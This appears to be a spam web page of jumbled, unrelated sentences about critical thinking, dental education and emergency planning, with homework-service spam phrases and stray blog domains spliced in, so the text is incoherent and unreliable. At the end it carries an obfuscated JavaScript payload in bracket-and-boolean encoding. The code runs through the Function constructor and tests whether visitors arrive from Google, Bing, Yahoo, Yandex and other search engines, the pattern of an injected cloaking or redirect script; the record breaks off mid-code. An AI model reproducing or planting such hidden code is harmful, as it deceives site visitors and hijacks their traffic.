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Students were asked to consider the etiological factors, presenting symptoms, and clinical signs of a patient who presented with a particular condition. Weerts also suggests that student groups can work together and develop critical thinking skills by: Many decisions are taken without thinking too much as people are often asked to deal with problems which require immediate solutions. In the book, Critical Thinking, Beyer elaborately explains what he sees as essential aspects of critical thinking. School and college oriented, but lots of good general material. Journal of Southern Agricultural Education Research , 51 1: They are inquisitive about a wide range of topics and issues, making a regular effort to read and to educate themselves, gathering information that may be important for making decisions now and in the future. If you allow yourself to respond to the discomfort — that’s partially an issue of personal development — you’ll try to figure out where it comes from, and to come up with other ways to understand the situation. They tend to rely on rote memorization without grasping the logic, supporting evidence and application of what they are trying to memorize. Central City is a small city in the United States with a population of approximately 20, It is basically a skill that students already have or might need to , which helps them to think in a particular way. This information explosion is likely to continue in the future. Subscribe Issue Archive Customer Service. So what exactly is positive thinking? Asking “how do we know? Suggests types of comments that can be made on student papers to encourage critical thinking: An AIDS prevention initiative, for instance, may find that a particular neighborhood has Letter writing quotes a large number of gay residents. Abduction Analytic and synthetic propositions Antinomy A priori and a posteriori Deduction Definition Description Induction Inference Logical form Logical consequence Logical truth Name Necessity and sufficiency Meaning Paradox Possible world Presupposition Probability Reason Reference Semantics Statement Strict implication Substitution Syntax Truth Validity. Knowing inductive and deductive reasoning. Books and Guides — ADEA Official Guide to Dental Schools ADEA Dental School Explorer —17 ADEA Directory of Institutional Members and Association Officers ADEA Snapshot of Dental Education, — Beyond the Crossroads: This helps him in solving problems. The conclusion moves from specific to general. Within the course, you will see blue underlined text which indicates a selectable link. The Critical Thinking project at Human Science Lab, London , is involved in scientific study of all major educational system in prevalence today to assess how the systems are working to promote or impede critical thinking. Thinking about a topic or issue in an objective and critical way. Privacy and Copyright Privacy Policy Copyright Terms of Usage. These “functions” are focused on discovery, on more abstract processes instead of linear, rules-based approaches to problem solving. The mission statement does not include how the action should occur. However, he makes clear distinctions between ordinary thinking and critical thinking. However, it is important to acknowledge that even in classes of 80 to dental students, groups of six to eight students could be developed to facilitate learning and inquiry. Resources in your library. Research in Higher Education, 36 1 , She is worried about the appearance of her teeth. They avoid jumping to conclusions and rushing to judgment. Notify me when new comments are posted. Article What are the Differences Between Optimists and Pessimists? The resources for additional information and reference are in portable document format. Planning Process and Tools, we will have a more in-depth discussion of the specific tasks and activities in a planning process.

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These students tend not to strategize without outside, explicit direction, but open-ended questions help these students develop metacognitive skills through active learning. This strategy involves bringing previously unrelated information and ideas together in new and meaningful ways. The writer will have organised all of these elements into an academic argument. However, due to its comparative lack of subject content, many universities do not accept it as a main A-level for admissions. For example, Guiller et al. When these students make it to the level of higher education or the workforce, the educators and trainers are forced to begin by teaching critical thinking skills as opposed to beginning with the information that needs to be conveyed. Developed by members of eLanguages in Modern Languages at the University of Southampton: However, it is important to recognize CTS do not develop spontaneously or with maturation. Then you may find some studies that question whether it has a deterrent effect and that may influence your thinking. Skip to main content. The Fundamentals of Critical Reading and Effective Writing. Too often people launch into a frenzy of arguments apparently without taking any time to consider they may be mistaken on the matter. The way one views the world, which shapes one’s construction of meaning. You can access the exam from the course description page or from the last screen of Lesson 5. If you’re not sure about your opinion, what information might you need to form an opinion? In relation to the decision making, creative thinking can also play a crucial role, when problems call for innovative solutions. Critical thinking is a vital skill in health, human service, and community work. He can weigh various facts and points of view and identify logical errors. Site Map Privacy Policy Statement Terms of Use. A line will appear linking the two items together. Many students do not read for pleasure and have not for decades. The need for critical thinking. Does it matter who told you this? The instructor needs to find a way for the student to move into a more positive emotional territory. Developing the ability to think critically can be difficult because it is easier to make hasty judgments based on opinions and biases than it is to evaluate facts and arguments. These concepts invite students to incorporate their own perspectives and experiences into their thinking. This type of literacy will enable students to make the distinction between information and knowledge. In a more recent meta-analysis, researchers reviewed quasi- or true-experimental studies, all of which used some form of standardized critical thinking measure to assess the outcome variable. Critical thinking requires the capacity for abstract thought. Monday, September 11, UCLA Home UCLA Directory Visit Apply Give. Explain how your research influenced your thinking. Critical Thinking Skills Toolbox. Leading intra-agency and interagency teams Working with intra-agency and interagency teams Intra-Agency and interagency Operations DHS uses planning as a tool in managing and conducting: Critical thinking products and courses encourage students to think for themselves, to question hypotheses, to develop alternative hypotheses, and to test those hypotheses against known facts. They tend to rely on rote memorization without grasping the logic, supporting evidence and application of what they are trying to memorize. PPD-8, the Presidential Policy Directive that deals with National Preparedness, required the development of a national preparedness system and a national preparedness goal. Also crucial to the teaching of CTS is an educator announcing to students he or she will teach CTS, how he or she intends to do so, and what will be required of the students as learners. In small groups, students must identify the different viewpoints of each participant in the dialogue. Stephen Brookfield has developed a point guideline for facilitators of critical thinking that focuses both on the learner and the facilitator herself. The oral exam shows that Mrs.

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Connor at her next dental appointment. Students who learn through a critical thinking process truly learn content. What’s the record of private industry over the last 10 years in cleaning up its own pollution without government intervention, for instance? Apply Now Visit Transfer to Doane International Student Admissions Meet Your Admission Counselor Student Athletes. Use the reset button if you wish to begin the task again. Read Irving Hexham’s The Plague of Plagiarism if you are uncertain what constitutes plagiarism. A Practical Guide to Critical Thinking The Why Files Global: Lee and Ryan-Wenger recommend the use of the “think-aloud seminar” as a teaching tool. Center for Critical Thinking a. When using critical thinking, individuals step back and reflect on the quality of that thinking. Without hearing any arguments to the contrary, your viewpoint, based solely on the opinions of others, would be weak. State four or five reasons that rubber dam isolation is essential during endodontic procedures. I can use critical thinking to make educated decisions, negotiate better options for myself, and to get myself into win-win situations through creative problem-solving. After the activity has been completed, a pop-up window will appear with feedback. In order to write well, students need to learn to read well.

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Upon completion of this course, you should be able to: If all the evidence points to something being true, your emotional reaction that it’s not true isn’t helpful, no matter how badly you want to believe it. Then, the whole class discusses some of the questions from each small group. A better program would integrate the application of critical thinking skills into the learning of content. Evaluation occurs once we have understood and analyzed what is said or written and the reasons offered to support it. Many students do not read for pleasure and have not for decades. The different teaching and learning methods in our modern society This happens all the time in workplaces at any level. Making sure you have all the information can make a huge difference. In essence, critical thinking requires you to use your ability to reason. As well as comparing academic arguments in order to find the strongest ones you need to be able to notice weaknesses in arguments. John Dewey is one of many educational leaders who recognized that a curriculum aimed at building thinking skills would benefit the individual learner, the community, and the entire democracy. Your contribution can help change lives. After developing the mission statement, a best practice is to ensure that senior leadership has reviewed and endorses the statement and that the goals and objectives are aligned with the desired end state. Business can take care of this more efficiently. College application essays 2012 A variety of instructional strategies that give students the opportunity to think aloud, role play, prioritize alternatives, communicate conclusions effectively, simulate, or defend the logical basis of their thinking is recommended to foster students’ ability to use critical thinking. Even though students are heavily immersed in learning a tremendous amount of information, they should still be presented with critical thinking learning experiences that embed concepts in actual practice-based scenarios. Today’s employers are looking for people who understand and can adapt to the characteristics of the Information Age. Three definitions of critical thinking [On-line]. Aside from food, water, and shelter, the one thing that a person will most need in life is an education. This model of thinking has become so entrenched in conventional academic wisdom that many educators accept it as canon” Walters, , p. Working in groups of four, students are asked to locate the four most recent references on oral lesions. Lists means of evaluating a course on critical thinking taught in this way, and some “basic theoretic underpinnings” for such a course. Critical thinking involves asking questions, defining a problem, examining evidence, analyzing assumptions and biases, avoiding emotional reasoning, avoiding oversimplification, considering other interpretations, and tolerating ambiguity. The various processes have common planning steps. Critical thinking essays consider the strengths and weaknesses of various solutions to a problem or various answers to a question. Synthesis involves the ability to put together the parts you analyzed with other information to create something original. Based upon criteria established by the planning team, COAs are evaluated in order to determine their respective strengths and weaknesses. Erratic use of facts Looking only at the area of interest, he offered biased interpretations of the radiographs. Were they trying to make someone look good or bad? Despite differences of opinion, many researchers agree that critical thinking is “Purposeful, self-regulatory judgment which results in interpretation, analysis, evaluation, and inference, as well as explanation of the evidential, conceptual, methodological, criteriological or contextual considerations upon which judgment is based.

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Analysis involves breaking what you read or hear into its component parts, in order to make clear how the ideas are ordered, related, or connected to other ideas. Sternberg, Ennis, and Lipman assert that critical thinking skills are not a fixed entity but a form of intelligence that can be taught. Parents should encourage their children to read and should Sports essay writing read to their young children, she said. Instruction Make six descriptions of specific skills that are used in critical thinking by matching the start of the sentence on the left with the correct ending on the right. It is obvious that solving mathematical problems and testing scientific theories would require critical thinking, but If a student can think clearly and and solve problems independently and systematically, he can do well in all subjects. This lesson provided you with an in-depth look at the stages of the planning process, as well as providing an opportunity for you to apply critical and creative thinking to a planning-related activity. Fallacies of relevance-Argument relies on irrelevant premises or attempts to obscure issues by stirring up emotions. The statistics show that, in fact, teens with adequate sexual information tend to be less sexually active than their uninformed counterparts. Critical thinking do my history homework for me is a process which leads to reasoned conclusions, through the application of a set of skills. The implication for curriculum development: Login Contact Us Store. Critical thinkers tend to: Even though students are heavily immersed in learning a tremendous amount of information, they should still be presented with critical thinking learning experiences that embed concepts in actual practice-based scenarios. You will not, for example, become good at recognizing fallacies just by memorizing a list of names. Was it before, during or after an important event? Converting ideas into images helps students learn. Ennis also suggests that critical thinkers demonstrate particular attributes. JavaScript seems to be disabled in your browser. All reasoning is an attempt to Leadership qualities questionnaire figure something out, to settle some question, to solve some problem. Click the Help button to review guidance and troubleshooting advice regarding navigating through the course. From Wikipedia, the free encyclopedia. Where did they say it? What exactly is positive thinking and how can it be used to improve health and wellness? The Tips for Incorporating Creative Thinking Job Aid contains tips and information about how to incorporate creative thinking into your planning effort. Article What Causes Learned Helplessness? Psychologists A biography of william blake an american poet study the behavior of.

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In the book, Critical Thinking, Beyer elaborately explains what he sees as essential aspects of critical thinking. You might be tempted to assume that it implies seeing the world through rose-colored lenses by ignoring or glossing over the negative aspects of life. Kiniry, Malcolm and Ellen Strenski. Analyzing Content that which you read or hear is actually about. Mitigation Mitigation includes those capabilities necessary to reduce loss of life and property by lessening the impact of disasters. The next set of CTS they focused on was “considering the pros and cons of treatments” and “drug actions and the possible side effects on the patient. More than test scores. Effective teaching of university-age students is characterized by collegial and collaborative processes, not instruction that is ambiguous. news.uho.com.tw In this activity you are going to explore what critical thinking involves and the kind of approach you need to take in your studies. The use of material found at skillsyouneed. Once you have clarified that aim for yourself you should use it as the starting point in all future situations requiring thought and, possibly, further decision making. Noticing what implications there might be behind zxz6056.blogcn.com a statement or argument. Her husband died one year prior, and since then she has been drinking cups of coffee daily. Sternberg does not specify a “how” approach to teaching and learning critical thinking skills. Declaration of Principles on Tolerance, Article 4, 3″. They read more than the average person and communicate their ideas clearly. Critical thinking is an important requirement for successful academic study in the UK. Teaching students how to use critical thinking skills shifts teaching from a A business coursework model that largely ignores thinking to an approach that renders it pervasive 43 When content is didactically taught, it is treated as static and students are unlikely to question or think it through. Sign Up for E-Newsletters. The aim of creative thinking is to stimulate curiosity, imagination, and promote divergence. Review how critical thinkers analyze form. Lee and Ryan-Wenger recommend the use of the “think-aloud seminar” as a teaching tool. Using critical thinking to give students a guide to the future. The Perry model of intellectual development, however, helps to explain the different stages that students move through as they become incorporated into the academic community, and examples of these stages are sketched out.

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They take time to gather as much information as possible to better understand a complex situation before taking action. What is critical thinking? Defines critical thinking as thinking with skepticism about a subject or field. We all carry with us a range of likes and dislikes, learnt behaviours and personal preferences developed throughout our lives; they are the hallmarks of being human. It is a guide to belief and reasonable, reflective thinking that is focused on deciding what to do or believe. In health, human service, and community work, the main goal of thinking critically is almost always to settle on an action that will have some desired effect. A common misconception that people have about psychology is that. Critical thinking then, is Lab report human arterial pressure and heart rate the careful, deliberate determination of whether we should accept, reject or suspend judgement about the truth of a claim or a recommendation to act in a certain way. Thus, critical thinking runs counter to human tendencies. Students must thoroughly read all required material before class. Did they give facts or opinions? So what exactly is positive thinking? Such schools see themselves, and are seen by their students’ parents, as trainers of leaders Developing the Next Generation of Leaders. At every level, students need to learn how to: If the learning environment is crucial to the development of critical thinking skills, what instructional strategies can be used to promote critical thinking? Never put evaluation ahead of the other steps in critical thinking steps; otherwise, you will be guilty of a “rush to judgement. Blaine, and James C. See also, Critical thinking: After a tornado, the recovery community of Washington County will conduct recovery planning and operations within the entire county in order to restore community infrastructure, housing, services, and economic activity. The relationship between critical thinking skills and critical thinking dispositions is an empirical question. They can think independently but place value on different perspectives. Policy Topics Holistic Review Dental Care Workforce Issues Financing Dental Education Sex-based Health Differences Access, Diversity and Inclusion ADEA Commission on Change and Innovation in Dental Education ADEA CCI Resources ADEA CCI Campus Liaisons ADEA CCI History ADEA CCI Liaisons Summer Meeting CCI Liaison Ledger. Our thinking is often governed by rules that limit us to the patterns we have already formed in our minds. It presupposes assent to rigorous standards of excellence and mindful command of their use. We have the Internet, television, radio, and other information resources available to us 24 hours a day, 7 days a week. If students have not yet reached the formal operations stage, their ability to use critical thinking skills may be limited by an inability to handle abstract ideas. Teaching Strategies to Help Promote Critical Thinking. Article A Quick Guide to Becoming a Master of Persuasion. It brings unity of purpose through coordination and integration of plans across all levels of government , non-governmental organizations NGOs , the private sector, individuals, and families It provides logical and analytical problem-solving processes It addresses complexity and uncertainty inherent in potential hazards and threats Homeland Security Planning PPD-8, the Presidential Policy Directive that deals with National Preparedness, required the development of a national preparedness system and a national preparedness goal.

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Consider the context of the information, problem, or issue. This applies in your reading and writing as well as in what you listen to during your studies. Enter Email Invalid e-mail address. Your explanatory style is how you explain why events happened. Industrial-Organizational Psychology one of the top highest paying professions focuses on understanding human dynamics in the workplace. Age of Enlightenment Global Critical Thinking Project Cognitive bias mitigation Critical theory Demarcation problem Dialectic Discourse analysis Disinformation Freedom of thought Freethought Outline of human intelligence — topic tree presenting the traits, capacities, models, and research fields of human intelligence Outline of thought — topic tree that identifies many types of thoughts, types of thinking, aspects of thought, related fields Sapere Aude. Kravis Professor of Leadership and Organizational Psychology at Claremont McKenna College. Did other people have a chance to respond an provide an alternative account? Even small children can learn about Research papers on electronic waste such things as cause and effect — a specific event having a specific result — through a combination of their own experimentation and experience and of being introduced to more complex ideas by others. Application requires that you know what you have read, heard, or seen, that you comprehend it, and that you carry out some task to apply what you comprehend to an actual situation. As with a conversation, your essay must be complete, and logically so, leaving no doubt as to your intent or argument. Robertson andRane-Szostak identify two methods of stimulating useful discussions in the classroom: Providing structured reasoning and support for a written argument that you wish to make. Articles, references, links, lesson plans, etc. The greatest weight an article on the values of the field of study could have, is when written by an independent observer. When using critical thinking, individuals step back and reflect on the quality of that thinking. DHS uses planning as a tool in: Finally, it requires helping people to apply the critical stance to a problem and learn how to come up with a solution that is effective because it addresses the real issues involved. Skip to Main Content. Obstacles to successful collaborative teams include differences between agencies and organizations in:. Operational Planning Operational planning is the process by which specific personnel, resource, and asset allocations are made to execute the objectives of the strategic plan. If you would like to customize your message, simply click in the box below to edit. There are ideas that are probably true and ideas that are certainly true, but while it is nice to have an idea that belongs in the latter group, we must understand that the latter group is far, far smaller than the former. Learning to think critically is more often than not a long process. Deductive Reasoning involves addressing the known first, and attempt to discover more information about why the known is what it is. Some people have both in abundance, some have skills but not the disposition to use them, some are disposed but lack strong skills, and some have neither. Metacognition is thinking about one’s own thinking. Each of us has a set of assumptions — ideas or attitudes or “facts” we take for granted — that underlies our thinking. Within the framework of scientific skepticism , the process of critical thinking involves the careful acquisition and interpretation of information and use of it to reach a well-justified conclusion. Strategic thinking Problem solving Decision making DHS uses planning as a tool in: Optimism as virtue and vice. For that matter, when did government regulation start? What Sort of Leader are You? For this reason and the lack of time available to K educators, much critical thinking has been left for higher education to teach and utilize. Certain truths require a firm conviction, but probable truths require only tentative conviction — that is to say, we should believe them with the same strength as the evidence and reason allow. Define, distinguish, draw, find, match, read, record, acquire, label, list. An unsupported academic argument is a very one. It is important to realize that preparedness is a shared responsibility. Developed by members of eLanguages in Modern Languages at the University of Southampton:

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Gifted Child Today, 33 1 , Post Comment Your name. The advent and rising popularity of online courses has prompted some to ask if computer-mediated communication CMC promotes, hinders, or has no effect on the amount and quality of critical thinking in a course relative to face-to-face communication. As a type of thinking that eschews the uncritical acceptance of information, critical thinking should be a deliberate part of the curriculum. Different ways may be proposed to solve a problem in your subject area. Teaching Psychology, 22 1 Euthanasia in the catholic church , If the learning environment is crucial to the development of critical thinking skills, what instructional strategies can be used to promote critical thinking? Additionally, different types of incidents require different types of expertise and responses. Remember that comprehending something implies that you can go beyond merely parroting the material back but instead that you can give the material your own significance. Looking for hidden assumptions. Examples of ordinary thinking are guessing, believing, and supposing. When you produce academic writing you need to make complex meaning clear for your reader. Using words that endow human attributes e. Multiple measures of critical thinking skills and predisposition in Vellum paper assessment of critical thinking. Print Resources Brookfield, Stephen D. Someone in a position of authority or power? Critical thinking forms, therefore, a system of related, and overlapping, modes of thought such as anthropological thinking, sociological thinking, historical thinking, political thinking, psychological thinking, philosophical thinking, mathematical thinking, chemical thinking, biological thinking, ecological thinking, legal thinking, ethical thinking, musical thinking, thinking like a painter, sculptor, engineer, business person, etc. Analysis deals with both form and content. Write an essay on population growth For this reason and the lack of time available to K educators, much critical thinking has been left for higher education to teach and utilize.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,54,51,50,48,122,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,113,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+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